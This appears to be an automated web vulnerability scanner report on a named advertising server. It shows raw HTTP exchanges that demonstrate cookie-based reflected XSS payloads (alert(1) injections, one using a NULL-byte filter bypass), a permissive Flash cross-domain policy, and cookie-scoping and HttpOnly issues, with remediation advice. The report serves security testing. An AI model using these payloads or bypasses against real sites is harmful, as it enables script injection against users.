HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:43:11 GMT Connection: close Content-Length: 7792
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... cr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("idgt-34079821_1297806191","http://ad.doubleclick.net/adj/idgt.v3couk/article_below;net=idgt;u=,idgt-34079821_1297806191,11e4f07c0988ac7c5f88';alert(1)//5fe77c57bc2,none,;;sec=article;fold=below;tile=3;sz=300x250;net=idgt;ord1=29490;contx=none;dc=w;btg=;ord=6724288580007851?","300","250",false);</scr'+'ipt> ...[SNIP]...
The value of the cli cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %009566d"%3balert(1)//a01f5cd232 was submitted in the cli cookie. This input was echoed as 9566d";alert(1)//a01f5cd232 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /cmadj/ns.bittech/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=5477863;ord1=60902;cmpgurl=http%253A//www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JY57=CT; cli=11e4f07c0988ac7%009566d"%3balert(1)//a01f5cd232; dc=sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:41 GMT Connection: close Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Tue, 22-Feb-2011 21:42:41 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 05:42:41 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:41 GMT Content-Length: 7815
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... ags.bluekai.com/site/2731",false);CollectiveMedia.addPixel("http://pixel.quantserve.com/seg/r;a=p-86ZJnSph3DaTI;rand=731498957;redirect=http://a.collective-media.net/datapair?net=qc&id=11e4f07c0988ac7.9566d";alert(1)//a01f5cd232&segs=!qcsegs&op=add",false);
The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 698a2'%3balert(1)//4e4a021be86 was submitted in the cli cookie. This input was echoed as 698a2';alert(1)//4e4a021be86 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/ns.bittech/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=5477863;ord1=60902;cmpgurl=http%253A//www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JY57=CT; cli=11e4f07c0988ac7698a2'%3balert(1)//4e4a021be86; dc=sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:41 GMT Connection: close Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Tue, 22-Feb-2011 21:42:41 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 05:42:41 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:41 GMT Content-Length: 7819
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-60315437_1297806161","http://ad.doubleclick.net/adj/ns.bittech/general;net=ns;u=,ns-60315437_1297806161,11e4f07c0988ac7698a2';alert(1)//4e4a021be86,icomgraph,;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=nurl;sz=728x90;net=ns;ord1=60902;contx=icomgraph;dc=w;btg=;ord=5477863?","728","90",false);</scr'+'ipt> ...[SNIP]...
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Issue background
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /crossdomain.xml HTTP/1.0 Host: a.collective-media.net
Response
HTTP/1.0 200 OK Server: nginx/0.7.65 Content-Type: text/plain Content-Length: 187 Last-Modified: Wed, 08 Sep 2010 13:14:23 GMT Accept-Ranges: bytes Date: Tue, 15 Feb 2011 21:42:32 GMT Connection: close Set-Cookie: JY57=CT; expires=Tue, 15-Mar-2011 21:42:32 GMT; path=/; domain=.collective-media.net P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adj/idgt.v3couk/article_above;sec=article;fold=above;tile=1;sz=728x90;click=http:/ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/o%3B228547252%3B0-0%3B0%3B42403772%3B3454-728/90%3B38201217/38218974/1%3B%3B~sscs%3D%3f;ord=6724288580007851?01AD=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw&01RI=05B0DFC7E8F90D3&01NA= HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; dc=sea; nadp=1; blue=1; qcdp=1; JY57=CT-1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 462 Date: Tue, 15 Feb 2011 21:42:34 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; expires=Tue, 15-Mar-2011 21:42:34 GMT; path=/; domain=.collective-media.net Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:34 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adj/idgt.v3couk/article_below;sec=article;fold=below;tile=3;sz=300x250;click=http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/c%3B228547251%3B0-0%3B0%3B42403772%3B4252-336/280%3B38201193/38218950/1%3B%3B~sscs%3D%3f;ord=6724288580007851? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 463 Date: Tue, 15 Feb 2011 21:43:09 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:43:09 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adj/ns.bittech/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ord=5477863? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 444 Date: Tue, 15 Feb 2011 21:42:32 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JY57=CT; expires=Tue, 15-Mar-2011 21:42:32 GMT; path=/; domain=.collective-media.net Set-Cookie: cli=11e4f0822402ca6; domain=collective-media.net; path=/; expires=Thu, 14-Feb-2013 21:42:32 GMT Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:32 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adj/ns.bittech/general;ppos=atf;kw=;tile=3;sz=120x600,160x600;ord=5490675? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; dc=dc-sea; apnx=1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 443 Date: Tue, 15 Feb 2011 21:42:51 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:51 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cmadj/ns.bittech/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=5477863;ord1=60902;cmpgurl=http%253A/www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1?01AD=3igJCfMpnCjefxTLvl5WglFfF5XsmyvGYxaeZR-FjkdIILR5xaa02Uw&01RI=46916FB2B867B7B&01NA=na HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; dc=sea; JY57=CT-1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:33 GMT Connection: close Set-Cookie: JY57=CT-USR; expires=Tue, 15-Mar-2011 21:42:33 GMT; path=/; domain=.collective-media.net Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Tue, 22-Feb-2011 21:42:33 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 05:42:33 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:33 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT" Content-Length: 7763
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]...
4. Cookie without HttpOnly flag setprevious There are 5 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adj/idgt.v3couk/article_above;sec=article;fold=above;tile=1;sz=728x90;click=http:/ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/o%3B228547252%3B0-0%3B0%3B42403772%3B3454-728/90%3B38201217/38218974/1%3B%3B~sscs%3D%3f;ord=6724288580007851?01AD=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw&01RI=05B0DFC7E8F90D3&01NA= HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; dc=sea; nadp=1; blue=1; qcdp=1; JY57=CT-1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 462 Date: Tue, 15 Feb 2011 21:42:34 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; expires=Tue, 15-Mar-2011 21:42:34 GMT; path=/; domain=.collective-media.net Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:34 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adj/idgt.v3couk/article_below;sec=article;fold=below;tile=3;sz=300x250;click=http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/c%3B228547251%3B0-0%3B0%3B42403772%3B4252-336/280%3B38201193/38218950/1%3B%3B~sscs%3D%3f;ord=6724288580007851? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 463 Date: Tue, 15 Feb 2011 21:43:09 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:43:09 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adj/ns.bittech/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ord=5477863? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 444 Date: Tue, 15 Feb 2011 21:42:32 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JY57=CT; expires=Tue, 15-Mar-2011 21:42:32 GMT; path=/; domain=.collective-media.net Set-Cookie: cli=11e4f0822402ca6; domain=collective-media.net; path=/; expires=Thu, 14-Feb-2013 21:42:32 GMT Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:32 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adj/ns.bittech/general;ppos=atf;kw=;tile=3;sz=120x600,160x600;ord=5490675? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; dc=dc-sea; apnx=1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 443 Date: Tue, 15 Feb 2011 21:42:51 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:51 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cmadj/ns.bittech/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=5477863;ord1=60902;cmpgurl=http%253A/www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1?01AD=3igJCfMpnCjefxTLvl5WglFfF5XsmyvGYxaeZR-FjkdIILR5xaa02Uw&01RI=46916FB2B867B7B&01NA=na HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; dc=sea; JY57=CT-1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:33 GMT Connection: close Set-Cookie: JY57=CT-USR; expires=Tue, 15-Mar-2011 21:42:33 GMT; path=/; domain=.collective-media.net Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Tue, 22-Feb-2011 21:42:33 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 05:42:33 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:33 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT" Content-Length: 7763
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]...